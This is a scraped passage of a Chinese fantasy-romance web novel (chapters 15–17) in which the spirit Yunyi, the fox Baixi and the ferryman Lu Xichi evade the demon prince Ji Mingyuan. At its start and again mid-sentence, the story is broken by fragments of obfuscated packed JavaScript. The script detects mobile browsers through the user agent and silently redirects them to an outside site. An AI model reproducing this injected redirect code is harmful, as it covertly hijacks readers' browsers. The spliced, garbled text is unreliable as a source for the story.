l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050771|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “别害怕……” 陆熙迟尽量稳住心神,颤颤巍巍地靠近,手骤然落到那一团雪白的身上。 朏朏和人都吓了一跳。 “我来帮你,好不好?” 他努力说完这句话,手掌触到的温暖忽地消失,陆熙迟的眼睛告诉他:猫不见了。 吓得跌坐回去,陆熙迟摸了摸刚刚还在猫背上的手,那里还残留着一点余温,提醒他真的看到了人变成猫,确切地目睹了猫在他手里消失。 他闭上眼睛,想不出来任何正当缘由来解释这件事。 用手掌盖上它消失的地方。只在一处缝隙里感受到一点若有似无的凸起。 他捡起来,那是一根两端细长至透明的白毛。 “哥哥,你在干什么?” 陆熙迟吓得手一抖,那缕毛发差点掉出去,他急急收回,妥帖放在胸前,转过头来无声看着这个醒过来的孩子。 “你还记得你娘叫什么吗?” “我叫我娘‘娘亲’。” 低低软软的声音传进陆熙迟的耳朵里,他总觉得漏掉了什么。 陆熙迟皱了皱眉,这才想到一个被他忽略的问题:这个孩子不是已经没呼吸了吗? 此时却脸颊粉红地看着他,肉鼻头因为呼吸而小幅度地抬起又落下。 “你嘴上沾了什么?” 陆熙迟原以为那是落在水里时被划伤的口子,那块现在却被轻易抠掉,周围不见任何伤口,只是干了的血痂。 想到醒来时看到的那个低着头的白色身影,他突然明白过来为什么这孩子会活过来。 是她救了他们。 可现在她却不见了…… 陆熙迟想了很久,才终于想起,婶婶说她的名字,叫做云意。 云意睁开眼,古檀木的房梁横亘其上。 这是在哪儿? “醒了?” 很耳熟的声音。 云意循声望去,一个白色的身影坐在绣墩上,一手执茶,一手搭在案上,指尖清丽秀雅,握住被子的样子煞是好看。 “你倒在码头,奄奄一息,我便将你带了回来。” 她放下杯子,从绣墩上起身,慢慢回转。 “还记得我吗?” 云意听到后心神一震,不禁立刻在脑海中搜寻和她相似的脸或身影,许久无果。 那头的人好整以暇地看着她,嗤笑道:“这么快就忘记了?” 云意脸上浮起一抹赧然的红晕,她是当真没有印象。 “连救命恩人都不记得了,那你受点苦也是应当的。” 云意脑海中迅速浮出一张脸。 是了,面前的人身上有一种和她相似的气息,是灵族。 而且她的气息似乎还混杂着魔族的味道…… 她闻过的味道…… 那白衣女子是救她出来的人! “你是、你是那个幻化成女侍,救我出来的人?” “还算有点良心,不枉我把你救出来。” “你是灵族的人?” “是。你不妨再猜猜……我的身份?” 白曦带着戏谑的神情一步步靠近床榻,身上的味道也越来越清晰。 她是九尾狐族。 九尾狐族擅幻化,曾一度掌领妖界,可自从九尾狐族唯一的继承人五百年前出走,不久狐王去世,九尾狐族年轻一辈里又没有出类拔萃的佼佼者,九尾狐一族便大不如前,现如今只靠芝兰夫人撑着,曾经辉煌一时、偌大的宫殿现如今宛如风中残烛,摇摇欲坠。 “你是……白曦?” 九尾狐族继承人——白曦。 那个不知道去了哪里的白曦。 白曦的表情微微一滞,这才正色,重新看向床上的这只小不点。 云意忽感身体一轻,手上的伤瞬间愈合。 “我当时让你跑,可没让你往风息海里跳,所幸你还活着。” 话头一转,她审视着云意:“不过,你怎么会和凡人待在一起?” 15. 躲避 【犹恐相逢是梦中】 ——崇祯五年,二月癸巳,风日晴和 面对白曦的质问,云意不知从何说起。 说他是自己的救命恩人? 说他将她错认成了猫还带在身边照顾过一段时间? 还是说她在他面前变回了原型? 不行,且不说在昏迷中醒转的陆熙迟到底有没有看清她变回朏朏,光是一想到她在陆熙迟面前原型毕露,云意就觉得自己快要疯掉了,崩溃的、无序的一切都从各个角落攻击着她的心理防线。 她不敢去想陆熙迟知道她真实身份的反应,就像一只刚学会飞的雏鸟,不敢越过山的一边到达另一边,去看可能名为危险的风景。 百般纠结了许久,最终只化作一句:“我们就是凑巧遇到的。” “哦,是吗,就这么凑巧遇到了一个能让你在他面前变回原型的凡人?” 是的。云意在心里默默给予肯定。 一切都是意外。在雲州遇见陆熙迟是意外,在陆熙迟面前变回原型也是。 其实仔细想想,很难说一开始遇见他不是因为陆熙迟的一念之差。 不敢去看白曦的眼睛,云意有些笨拙地解释道:“我在码头上恰好碰见沉船,当时好多人都被救上来了,只有一个人在水里不知所踪,我就去水里碰碰运气,没想到真的被我找到他了,看到他的时候,他一动不动,我当时都以为他快死掉了,但我还是没有放弃,把他救上来了。” “恰好……”白曦咀嚼着这两个字,世上哪有那么多恰好,不过到底没为难她,“那只能归结为朏朏的天性如此,碰着谁有难,你都会仗义相救喽。” 倒也不是…… 云意在心里默默否认。 ”话说回来,你的藤毒……现在感觉怎么样?” 云意这才想起来察探灵海,“前些日子发作得比较频繁,最近……”她仔细感受了一下,灵海内灵气充盈,没有减少。 “不知道是不是化形的缘故,这阵子都没怎么复发,今天是头一遭。” 白曦坐下来,手搭上云意的脉,细细探查,“这脉象虽然表面虚浮,但底子还是稳的。毒发一次也只损耗些元气,不曾坏了根基。” 目光上移,直直抵住云意的眼睛:“你这身灵力又是从何而来?” “偶然所得……你可能不信,但我确实不知道。” “既如此,那就是你的机缘,且用着便是,左右灵力多点总比没有好。” 这是属于她的机缘吗?顶着一身来历不明的灵力,云意常常处于担惊受怕中,怕这赐予她力量的主人某天突然收回去,她又回到一无所有的状态。 她在陆熙迟面前变回原型,毒发无法逃走的时候,她真的以为自己的灵力被抽干了。 那一刻,她也分不清,到底是对陆熙迟知道她身份的恐惧更多,还是对自己手无寸铁之力的害怕更多。 毕竟,可能连陆熙迟自己都不知道,他会不会在独自面对一只会变成人的怪物时,本能地做出伤害对方、保护自己的行为。 云意不敢赌。 白曦扣住云意的手,话已经滚到嘴边,但看她一副病恹恹的样子,又把话咽了回去,最后只说:“这藤毒在你体内发生了怎样的变化现在还不得而知,但总归是减轻了些,毕竟你都从风息海那样的地方活下来了,大难不死,必有后福。现在这毒还不足以对你有什么致命的伤害,且把心放进肚子里。” “在魔界待了这么久,我们也该回灵界了。” 白曦要回灵界? 传言里,九尾狐族继承人白曦离开灵界已是好几百年前的事情了,她要回去振兴狐族了吗? 云意小心翼翼地问:“这么多年,你一直待在魔界吗?” “在哪儿有那么重要吗,总归都是要回去的。” 她的声音就好像一帖安神药,云意心下稍缓,认可地点点头。 翌日,云意听白曦的话换上一身她提前准备好的藏青色的圆领袍,腰间系上蹀躞带,护腕收紧袖笼,头发高高竖起,俨然是个少年郎的模样。 大致穿好,云意埋头扯了扯里面被压皱的中衣,手背突然触上冰凉的指腹,那指腹只轻轻一触,蜻蜓点水般落下,然后滑开,掌心的肌肤若有似无的勾连着她的曲着的手指。 “真是个俏郎君。” 声音好像带着钩子一般,云意垂眸去看,白净纤长的手指灵巧地翻进领子里,快速又妥帖地抚平褶皱,上下顺了顺,“你们朏朏一族,都这么好看吗?” 与手掌的冰凉不同的是,她的呼吸是温热的,细细洒在云意的侧颈。 云意不自然地缩了缩。 “我娘很好看。” 声如蚊蚋,耳尖已经爬上了一抹绯红。 白曦盯着云意的侧脸看了一会儿,挑起嘴角,“这么害羞怎么行,你要扮作我的夫君,就须得落落大方些。” 微微俯身,美目含情,一落不落地盯着云意不敢看她的眼睛:“懂了吗?” 云意扯了扯护腕,郑重点头。 云意背上包袱退房结账,掌柜一时之间竟想不起来何时接待过这么俊俏的小公子,一边费劲在脑海中搜寻,一边找补铜板,突然瞟见从楼梯上下来的女子,身段窈窕,姿态婀娜,行走之间,馨香扑鼻。 她挽上那小公子的胳膊,还对着那张木讷寡言的脸甜甜地笑。 可叹那小公子只专心数着手里接到的铜板,丝毫没有回应那姑娘的甜丝丝的笑。 两人一起离开客栈,看着背影倒是相配。 只是那做丈夫的人实在不解风情。 至雲州城门处,城楼上传来三段鼓声,城门从里向外被士兵合力关上。 轰然一声叩响,城门落钥。 领兵的城卫提声振气宣读张贴在城墙上的布告:“传刺史大人令,接到朝廷下发的通缉令,雲州近来混入了一伙贼人,这伙人杀烧抢掠、无恶不作,且这行人中有男有女,且善易容伪装,为早日将其逮捕归案,还百姓安宁,雲州城门于今日起闭门三月,城防将日夜严加看守,出城须得持衙门处办理的通行文碟。” 四列精装甲的士兵行进有序地罗列在城门两侧,每个人都以银甲掩面,只露出双眼睛,站在那儿就像鹰隼一般锐利。 在街头转角的云意侧身躲在一个摊贩旁边,她闻到了那群人中不属于凡人的味道,旁边的白曦紧紧盯着那些士兵,眉头紧蹙,眼神冰冷。 云意第一次见这样的白曦,她循着她的目光再度看向紧闭的城门。 这一看,就看到了她此生最不想看到的人。 纪明渊冷冷地瞥向围在告示前的人,若有所感地看向旁边的巷子拐角,只有几个当街叫卖的街贩在那儿吆喝,他收回了目光。 云意紧紧贴在巷壁上,心都要跳出来了。 “是纪明渊,不能妄动法术,会被察觉到。” 白曦贴着云意的耳朵低低出声,眼睛警惕地四处观察。 “只要我们不动用法术,就和常人无异,别怕。” 白曦转向巷子的另一头,云意敛了敛心神跟上。 “哥哥,我好累呀。” 三福抬头委屈地看着陆熙迟,却见大哥哥不知道看着哪儿,神情专注,头还跟着转动,一直没看自己,不免更加难过。 这两天大哥哥带着他找娘亲,白天四处找人打听,晚上就睡在他那艘蓬船里。 起先三福还觉得睡在有顶的船里很酷,可后来只觉得船板太硬,一点都没有家里的床舒服。 他噘噘嘴,要是自己还记得回家的路就好了。 大哥哥问他怎么会在那艘小船上,三福自己也答不上来,爹娘会采果子沿江叫卖,这还是第一次来这里,他以前从没来过这儿。 第一次来就和爹娘走散了,自己还掉进水里,越想越难过。 陆熙迟看着眼前闪过熟悉的身影,目光追随着而去,心神一震,拉着孩童稚嫩的手就跑。 三福没反应过来,踉跄几步,气喘吁吁地跟上,他不知道哥哥在追什么,他只觉得自己好 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白曦在一旁格外安静,云意看过去,却见一张格外惨败的脸。 “白曦,你怎么了?” 白曦捂住腹部,“刚刚翻墙的时候伤口扯开了。” “你受伤了?”云意急忙去查看,果见白曦捂住的地方渗出丝丝血迹。 “我先给你止血。”云意正要施法,白曦按下她的手,“不能使用法力,他会察觉到的。” 这声音气若游丝,云意只能收回手,思忖接下来该怎么办。 “这位兄台,可否请你帮我照看一下我的弟弟,我去给他买个梨膏糖,去去就来。” “这位兄台?” 陆熙迟伸手搭在纪明渊的袖子上,见对方看过来,神情诚恳地和对方套近乎:“兄台,你搭过我的船,在宿州的时候,您可还记得?” 当时他还没给钱。 陆熙迟见对方似乎陷入了某种回忆,便轻声继续补充道自己的恳求:“家弟平日里素来乖巧,许是刚才走了远路,又饿了肚子,这才哭了两嗓子,兄台可否帮忙照看一二,我买个糖哄孩子,去去就来。” 听到可以吃糖,三福配合地小声抽泣几下,睁大水盈盈的眼睛看着纪明渊,可是对方毫无触动,他有些泄气,但是想吃糖的欲望战胜了他对纪明渊的恐惧和自己的挫败感,柔柔弱弱的小手搭上他的紫袍袖子,小声地说:“大哥哥他很快就回来了,哥哥你陪我等一下,好不好?” 纪明渊扯出袖子,盯着陆熙迟上下扫了一眼。 确实只是一个凡人,居然能识破他的障眼法。 他行走于人间,向来术法加身,就是有修为的凡人也不会记得他的面貌。 可是这个凡人,居然能记住他。 不排除这人是为了套近乎的胡诌,但纪明渊回想起过往,似乎确实见过他。 这个凡人身上到底有何特别? 他点了点头。 “一个凡人,胆子倒挺大。” 居然敢叫纪明渊帮他看孩子。 传到魔域,不知有多少人会笑掉大牙。 他们向来高高在上的二殿下,居然会有照看孩子的一天。 云意心情复杂地看着陆熙迟跑开的身影,“纪明渊不会无缘无故走过来,怕不是发现我们了,我们走吧。” “他就在楼下站着,我们走去哪儿?” 又回到了浑身轻松、调侃别人的样子,仿佛身上有伤的人不是她一样。 白曦倚在墙上,任由双腿滑落,“等纪明渊上来,我们和他决一死战也不错。” 云意并不觉得不错。 她想活着,活着回去见娘亲。 云意走到门边,轻轻贴上去听着门外的情况。 却不想听到了敲门声。 白曦正色,缓缓站起来,和云意交换了几个眼神。 16. 跟随 【惟愿取,三寸霁光,伴地久天长】 ——崇祯五年,二月甲午,霁日光风 云意隔着门仔细感受了片刻,对方似乎没有灵力波动,要么是法力深不可测,要么就是个没有修为的凡人。 云意希望门后面只是一个凡人。 她轻轻拉开一点缝隙,就看见了一张熟悉的脸,一双清亮的眼睛如有实质地锁住她,让她无处藏匿。 云意想关上,陆熙迟眼疾手快地撑住门板,“不要再躲着我了。” “我知道你是谁。” 云意一愣,多日来纠结困惑的问题终于有了答案,她用力把门往外推,陆熙迟注意到她刚才一瞬间的迟滞,手上用力,面上却不显:“我说过,你是什么都不重要,你记得吗?” 云意的身体贴住门板,眼睛不去看他,“你认错人了。” 即使隔着一道门,仍能感受到他灼灼的目光。 “让他进来。”白曦看两人焦灼地僵持在门边,一个穷追不舍,一个极力避开,不像是认错了人,倒像是为情所困。 白曦想起搭乘这个凡人的船一路从宿州到雲州,他的所言所行,应当是没什么危险,索性就让他进来,以免闹出的动静太大,惹人怀疑。 感受到门后卸下了力,陆熙迟闪身进去,很有眼色地合上了门,看着云意的背影,心头一股热浪翻滚。 嗓子也像被堵住了,有很多话堆在一起,说不出来。 “你怎么知道我们在这儿?” 白曦用袖子遮住腹上血色,面上一片平静,审视的意味不容忽视。 “从城门口到这儿,跟了我们一路还没跟够?” 就这样被点破,陆熙迟也没有心虚,他看了一眼云意,见她并没有搭理他的意思,才对这个他划船载过的女子礼节性地点了点头,说出的话却不客气,“你们怕下面那个人?” 云意一怔,讶然地望向陆熙迟。 他适时捕捉到云意的目光,回看过去,“我从这间客栈的柴房窗户翻进来的,小心地避开了巡逻的城防,没有暴露你们的行踪,你们可以放心。” “放心?他人现在就在下面,让我们如何放心?” 白曦余光瞥向窗外的街道,又迅速收回,“你的胆子倒是大,半大点的孩子说扔就扔。” “我去帮你们引开他,也不会让孩子有事。” 陆熙迟紧盯着云意的脸,不放过她脸上的一点变化,“这样可以吗?” 陆熙迟那双明亮的眼睛盯着她,好像要把她拽进深深沉沉的情绪里,说不清道不明。 “不用。” 不想他再被搅进不属于他的因果里。 陆熙迟沉眸,又抬起来,看向白曦,“不知姑娘意下如何?” 白曦当然说好:“有人愿意替我们排忧解难,我自然不会拒绝,只是,这么做对你可没有什么好处,还会给你惹来杀身之祸,你有什么条件?” 云意不赞同地看着白曦,白曦浑然不觉。 云意余光里注意到陆熙迟垂在两侧的手,食指蹭着衣服,他在紧张。 “我……我可否跟着你们、保护你们?” “跟着我们?我们二人若不同路,你要跟着谁?” 陆熙迟把目光转向了云意。 云意垂下头,捻了捻腰际垂落的玄色皮革带子。 “既如此,你便去试试吧。”含笑的声音带着钩子,云意睇了白曦一眼,又看向陆熙迟。 对上整装待发的陆熙迟,云意低低出声:“你不该出现在这儿。此事与你无关。” 我也和你没有关系了。 这句话没有说出来,但她知道,陆熙迟听懂了。 “给孩子的梨膏糖该买好了。” 陆熙迟牵起嘴角笑笑,手伸进怀里,摸出一块油纸方块,“梨膏糖,你喜欢的。” 他一直随身带着。 不等云意回答,他把糖塞进她手里,门打开又合上。 陆熙迟走了。 油纸包还有余温,温润光滑,指腹贴上去,能感受到糖块中间的绵软。 “不过来看看?” 白曦脸色苍白地站在窗边,眼睛却饶有兴味地看着下面。 云意蹙起眉头:“他只是一个凡人。” “但他是个聪明的凡人。” 白曦的一双凤眼挑起一点弧度,神色满意地看着陆熙迟和纪明渊周旋。 云意狐疑地靠近窗户,低头去看,不期然对上一双眼睛。 他为什么总能精准捕捉到她。 纪明渊不见了。 居然就这么走了。 云意不敢置信地够出身子仔细看着街头巷尾,没有纪明渊的身影。 “别看了。” 白曦在一旁无力地坐下,卸力地缓声说:“居然真走了。” “他还真有点本事,三言两语就将人打发走了。顺利得让我都要忘了,纪明渊是一个多么难对付的人。” “你和他见过?” “见过几面,每次都让人开心不起来。” 云意俯下身,白曦那腹上的血色有扩大蔓延的趋势,她托着止血的术法替她疗伤。 只用法术镇住伤口还不够,还是得敷止血的草药才有用。 “此事是我连累了你,要不是我,你也不用如此担惊受怕。” “因为你?”白曦像是听到了什么好笑的事,笑着重复了一遍,“你觉得是你连累了我?” 白曦捂着伤口,脸上带着嘲弄:“别把自己看得太重,小不点,或许纪明渊知道你还活着,是想把你捉回去,但若只是为了把你捉回去,纪明渊才不会出动这么多魔族士兵。” “他是奉命而来的。” 白曦淡淡地瞥向腰间已经止住血的伤口,“你啊,就别想这么多了。” 什么人能驱使魔族二殿下? 答案好像不言而喻。 云意自知自己还没重要到要让魔君下令带兵抓自己的程度。 那就不是抓她? 见白曦没有再往下说的意愿,云意把打开的窗户合上,没有再去看外面的人,扶起白曦的胳膊,“既然他已经不在外面了,我们走吧。” “你不是答应了让人跟着你吗?怎么,要反悔?” “我没答应过。”云意淡淡提醒她。 “可是那个凡人当真了。我看得出,你们的关系可不只是你救他那么简单。” 的确没那么简单。 可是云意不想承认。 云意扶着白曦从客栈外的长廊绕出,小心躲避人群,从偏门出了客栈。 “云意。” 陌生的称呼,熟悉的声音。 云意扶着白曦像被施法定住了一般,她缓缓回头,陆熙迟拉着那个孩子站在不远处,街上喧闹,叫卖声不绝于耳,各色的吃食杂耍沿街行游,陆熙迟一步一步走向她。 一只飞蛾落入蛛网,再动弹不得。 云意皱眉。 他却忽略掉她眉间这股神色,笑盈盈地说:“云姑娘怎么丢下我一个人便要走,不是说好带我一起吗?定是事多人忙忘记了,无妨,我记得。在下一定不会给云姑娘添麻烦,且等我送弟弟回家,我们一起上路,可好?” 陆熙迟学坏了。 学会咬文嚼字地做表面功夫那一套了。 三福认真舔了舔手里的梨膏糖,倒吸一口凉气,“刚刚那个哥哥好凶啊,还说要让鬼来和我玩儿。” “哥哥,你吃过梨膏糖吗?”三福在檐下跳上台阶又倒着跳下,虎头帽的尖尖被他颠得一晃一晃。 “没有。”纪明渊不耐烦地环顾四周,语气淡淡的。 他想不明白自己怎么一念之差就在这儿看上孩子了。只不过,这孩子身上有一股令他十分熟悉的感觉。 像那只朏朏。 “哥哥,梨膏糖很好吃的。等会大哥哥回来,我给你尝第一口好不好?” 说着吸溜了下嘴巴,酸酸甜甜的糖想得他口中生津。 三福突然有些难过,他也不动了,嘴巴一撇,眼泪马上就要溢出来,“哥哥,我娘亲不见了。以前娘亲给我买糖,我都会给她吃第一口,现在我和娘亲走散了。我不能给她吃第一口了。” 话还没说完,三福就止不住地哭出声来。 纪明渊不耐地闭上眼睛,所有思绪都被扰乱。 一个小贩摇着拨浪鼓从他们面前经过,拐进旁边的巷子里,三福自动息声,痴痴地望着那拨浪鼓消失在视线里。 “娘也会每天给我摇拨浪鼓……” “你过来。” 三福乖乖走到纪明渊身边,带着哭腔地软软一喊:“哥哥。” 然后三福就被这个面色阴沉的哥哥揪了一把额前碎发。 “呀!”三福抱住脑袋,“哥哥你拔我头发做什么啊?” “我认识一个爱吃小孩头发的小鬼,我把他叫来陪你玩儿,可好?” 纪明渊欣然地看见这张小脸上出现的害怕,把指尖的头发轻轻一捻。 “然后我就听见我娘在叫我。” 云意压下眉头,她往三福虚虚一指的地方看去,果真有个长相和三福有几分相似的年轻妇人在那儿,惊异又惊喜地跑过来。 “三福?三福!” “对!就像现在这样。” 正在吃糖的三福浑然不觉那年轻妇人的靠近,直到身体突然被抱住,他才惊觉不是幻听。他转过头惊讶地看见一张日思夜想的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103965|194376||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸,“娘亲!” 不过小家伙立马反应过来,娘亲怎么会出现在这儿,疑惑出声:“你真的是我娘亲吗?” “难道你还有第二个娘?” 三福捏了捏面前女人的脸,温温热热是真的,顿时安心地倚进她的怀里,“娘,我好想你啊,想你想得糖都吃不下了。” 小小的手把糖往背后藏,自以为大人看不见。 “你这孩子,让你少吃点糖,回头又牙疼,这些天跑哪儿去了,知不知道为娘有多想你?我差点以为你丢了……” 话尾是止不住的颤抖。 仿佛一切珍惜的与失落的都在此刻得到圆满,失而复得。 云意看见地上的那缕孩童的头发渐渐消失,仍不敢相信纪明渊会有这么好心。 他明明一向最是冷血无情。 像被刺中名为浑浑噩噩的针,她耳边闪过这个年轻妇人恢复情绪后疑惑自己为什么会突然出现在这儿,又说了一些感激他们的话,她听见孩子高兴地和他们说再见。 那对母子离开后,白曦又问起陆熙迟和纪明渊说了什么,他怎么这么轻易就离开了。 “我与那公子说,买糖的时候听闻东街的作坊捉到一只白色小兽,长相酷似猫,甚是灵巧,可在水上行走,几步之间就到了江对岸,想来那贵公子此时应是去看那奇观了。” 白曦听得怔愣。 云意却立马反应过来,陆熙迟说的白色小兽是什么。 他什么时候注意到她和纪明渊之间存在某种联系的? 几乎是瞬间,云意一抬头就看见陆熙迟紧盯着自己不放的眼睛。 陆熙迟这一刻无比笃定他们之间存在的某种联系比他想象的还要深刻。无论是从那贵公子听到消息就离开的反应,还是云意的心神不宁,都像刀锋入木般一遍一遍加深这份猜测的笃实。 他开始止不住地回忆那日船上云意想躲避的心急,反复琢磨刚刚她的心不在焉。 眼睛却一刻不离她此时紧蹙的眉头。 陆熙迟的注视太过明目张胆,云意扶着白曦纤细的胳膊想走,白曦带着调侃出声道:“没想到,你这凡人还知道那么多秘辛。” “走吧。”不想再讨论此事,云意扶了扶肩上的包袱结。 肩膀突然一轻,包袱被摘下,陆熙迟的手扶着包袱带子穿过她的手,温热的骨节传来若有似无的触碰,陆熙迟挎好包袱到另一边搀好白曦。 白曦稍稍一瞥,就注意到陆熙迟红透的耳根。 还当是什么厉害的人物,原来只是个空架子罢了。 “殿下,目前整个雲州城都被我们的人包围了,城内每隔一个时辰就会轮换一次巡逻小队,各大小街道都有我们的人仔细排查,如果那九尾狐真在此,我们一定可以将她活捉回魔界。” 雲州刺史府内,纪明渊坐在主位,神丝空荡,手指有一下没一下地捏着象征刺史权位的白玉印信提起又摔下。 “江上白兽是怎么回事?” “回殿下的话,那白兽是灯匠用纸糊的灯笼,属下问过了,是特意模仿的狸猫形态,以往在雲州城也曾风靡过一段时间,您遇到的那个凡人不是雲州人,所以见着惊奇罢了。” 陆熙迟沉吟:“做成白猫形态的灯笼……” 跪在一旁的刺史颤颤巍巍地回话:“殿下若是喜欢,我这便令下面的人去做个一模一样的,一定让殿下满意。” “不用了。” 做得再像,它也不会再回来了。 “那九尾狐一定还在城里,我们从魔域一路追赶至此,这次一定不会再让她跑了。” “纪明沣伤势如何了?” “安插在沧溟宫的探子传过来的消息说大殿下还伤重未醒,恐是被那狐狸伤中要害,现下每天都靠丹药续命,恐怕是……” 多的话就没有再多说。 但其下的意思不言而喻:怕是凶多吉少。 这一代的魔君只有两子,魔君一直属意的是大殿下,二殿下早早便被打发出去自立宫门,不受魔君重视,经此一事,魔族定是要变天了。 “父君催得紧,这狐狸要还是找不到,解不了他老人家的气,恐怕得怪罪到我头上来了。” “是,属下这就加派人手竭力去寻,定要把那狐狸带回来。” “要活的。”纪明渊想到了什么,饶有兴味地笑,“死的也行,正好送我那大哥最后一程,让父君彻底安心。” “属下领命!” “至于你……” 年迈的刺史睁着那双浑浊的眼睛一触到纪明渊冰冷的眼神就战栗不止,“殿、殿下您说,有什么要吩咐,我,不,小人,小人都竭力去做。” “让你找的瘴雾林,可有进展?” 17. 选择 “让你找的瘴雾林,可有进展?” “有、有的,小人的手下已经在雲州和宿州的南边各找到一处瘴雾林,只不过那两处地方都闷热雾重,树高叶密,蛇虫鼠蚁众多,附近都没有人踏足的痕迹,小人就连着派了两拨人去打探。” “哦,打探到了什么?” 纪明渊将把玩着的印信抵上案板,终于分一点眼神给前面跪着打颤的凡人。 “回殿下的话,小人派去的人……一个都没回来。”声量渐弱,平日里惯常挺直的身板此时却伏得异常低,生怕上头的那位一个不高兴,手指轻轻一挥自己就身首异处了。 周围的空气仿佛突然之间遇冷沉下去,耳边听不见一点声响,就像屋子里的人凭空消失了一样。但跪着的老刺史却觉得自己背上寒光倒泣、如负千钧。 魔族二殿下一直在看着自己。 因为长时间低垂而充血的脑子突然灵光一现,苍老的声音转悲为喜,立马补充道:“殿下,小人的属下去雲州南边打探的时候,在那边的瘴雾林周围发现了一种毒虫,根据古书上记载,但凡接触过这种虫子的人,顷刻之间就会四肢麻痹、毫无知觉,不出三天皮肤就会溃烂至全身,而且只要和伤者裸露的创口接触就会被传染。” 在一旁静立的木峥闻言看过来,“毒虫?叫什么名字?” “好像……叫、叫什么银蝽,对,是叫这个名字……”年近六旬的人跪在地上抖如筛糠,他偷偷瞟一眼那位殿下的反应,还没看到脸,上头的那人微转了一点下颌,老刺史就又深深垂下了头。 “继续派人去查,处理好他们的家人,本殿不希望出岔子,引起太多注意。” 花白的胡子下的嘴倒吸一口凉气,“是,小人遵命。” “退下吧。” 老刺史如临大赦,麻利地起身退出门外,一改先前的老态龙钟。 “殿下,这凡人口中的银蝽会不会就是我们要找的赤螟?” 纪明渊斜斜一睇,木峥立即垂首:“属下即刻去查。” 木峥说完又想起还有一事要禀报,“殿下,那家人也处理干净了。” 纪明渊整个人都隐进阴影里,黑暗中不辨神色,看着槛窗里透进来的光,眯了眯眼睛。 木峥抱拳一板一眼地汇报:“殿下遇到的孩子名叫三福,住在雲州上源村,今年夏至五岁。其父四年前服劳役时修筑堤坝被滚落的大石砸坏了下半截腿,从此只能拄拐行走,平日里只能靠着微薄的收成勉强糊口。 “其母王氏素日里采摘野果沿江叫卖来补贴家用,属下查过了,那孩子前两日随王氏一同在江上卖果子,王氏去岸上与人交易,旁边的画舫沉江时,只剩三福一人在江上。掉下江后,救人的水手船夫都说没见过这个孩子。 “属下问过那孩子,他只说有个大哥哥救了他,一直到咽气也没改口,应该是真的。” 纪明渊想起那个凡人。 能记住他的脸,能在他面前面不改色地扯谎,还能用像白猫的四脚小兽这种话来骗他。 纪明渊挑起眉尾,“这凡人查到多少?” “目前只查到他从宿州而来,无父无母,靠行渡维生。” 木峥利落地跪下,“请殿下责罚。” “自领二十骨鞭。找到他,跟着他,不要打草惊蛇。” 纪明渊长长舒出一口气:“他们身上……都有股令人熟悉的味道。” 一个浓、一个淡。 纪明渊闭上眼睛仔细回忆他从那孩子身上感受到的,精纯的血肉里裹着灵气的浮动。 “是它的血……是朏朏的血。看来它用它的血,救了不少人。” 木峥一惊,朏朏?可……它不是跳下风息海了吗? 看出木峥在想什么,纪明渊挑起案上兰花叶里几不可见的蝉蜕,端详片刻,“没有人看到它的尸体,谁能证明它死了?” “到船上去吧,我送你们离开这里。” 云意看向停泊在水边的蓬船,他找了一处极为隐蔽的渡口,像是废弃了多年,杂草丛生。 身旁的白曦身上散发着一阵又一阵的冷意,不容她再多犹豫,云意扶住白曦上船。 江上无风,水面如缎,陆熙迟矮身进船舱把包袱放下,用软垫铺上座椅,翻找出常备的金疮药放在一旁,才掀开帘子出去准备划桨。 船身微动,云意打开金疮药,要帮白曦敷上。 “我自己来。” 嘴唇已经淡得没有血色,白曦扭动着要自己坐起来。 最终还是脱力倒下。 “我帮你吧。我蒙上眼睛,这样就看不到了,你说我动。” 说着云意从包袱里取出一条绿丝帛,纱幔轻薄,她叠了好几叠,蒙住眼睛,只有丝丝缕缕的光隐隐约约可见,宽大的绿纱在鼻梁上挂住,露出小巧精致的鼻尖。 “这肯定不是你给自己买的。” 白曦伸手抚上那丝帛,只轻轻一触,“这是腰间系带?” “我给我娘买的。她会喜欢的吧?” 流连折叠丝条纹理的手顿住,白曦垂下眸,“你很想念你娘亲。” “已经很久不曾听闻她的消息了,现在要回去见她,想来凡人的话还是有几分道理。” “什么话?” “大概是近乡情怯吧。” 这四个字里仿佛有无数希望和遗憾相互交织,白曦转过头,捂住伤口,“给我上药吧。” 雲州城内虽然城防严密,但椿江上的行渡还未加以控制,陆熙迟想或许是前几天江上才出了事,画舫上有不少官宦人家的少爷千金,江里散落了不少金银珠翠、贵重笔墨,随便捡到一件,都够雲州一户普通人家吃穿不愁好几年,所以这几天乘舟打捞、潜水哄抢的人数之众如过江之卿。 许多财物更是被冲到了下游,本就靠着水运富甲一方的雲州这下更是舳舻千里。 陆熙迟的船混在其中,悄无声息地离开了雲州城。 帘子不时被江风吹起,布帘翻飞之间,挽起袖子摇桨的背影映入二人眼帘。 刚为了方便上药,白曦倚在云意怀里还未起身,云意把摘下来的丝帛叠好放回包袱。 “你这伤是怎么回事?” “你终于问了,我刚还在想,你要憋到什么时候。” 像是恢复了一点气色,白曦又开始说笑,“这伤啊,算是情伤吧。” 云意只当是玩笑话,那伤……她小心翼翼地碰上去,长长的一条,切口齐整,应是用刀划开的,很深,温热得发烫,她不忍再回想,脑海中却是挥之不去的血淋淋的一片,她经历了什么,最后受到如此伤害。 目光忍不住落到白曦的发顶,又怕她不自在,随意看向帘外。 捕捉到云意的目光,以为她看陆熙迟看得入神:“怎么,又觉出他的好了?” 白曦笑盈盈地打量陆熙迟随意挽起的袖子,流畅的肌肉线条青筋横亘,玉白的肌肤上透着薄红,她伸手一指,引导云意看向陆熙迟背上的衣裳裹着的微微起伏,看着挺拔有劲:“你知道这凡人身上什么最可贵吗?” “什么?”顺着那指尖的方向看去,意识到白曦指的是什么,一股热浪从心头迅速蹿到头顶,恰巧陆熙迟这时转过头来,直直地盯住她, 对视不过一息,云意就低下头,脑海中不知怎么开始浮现白曦的那个问题。 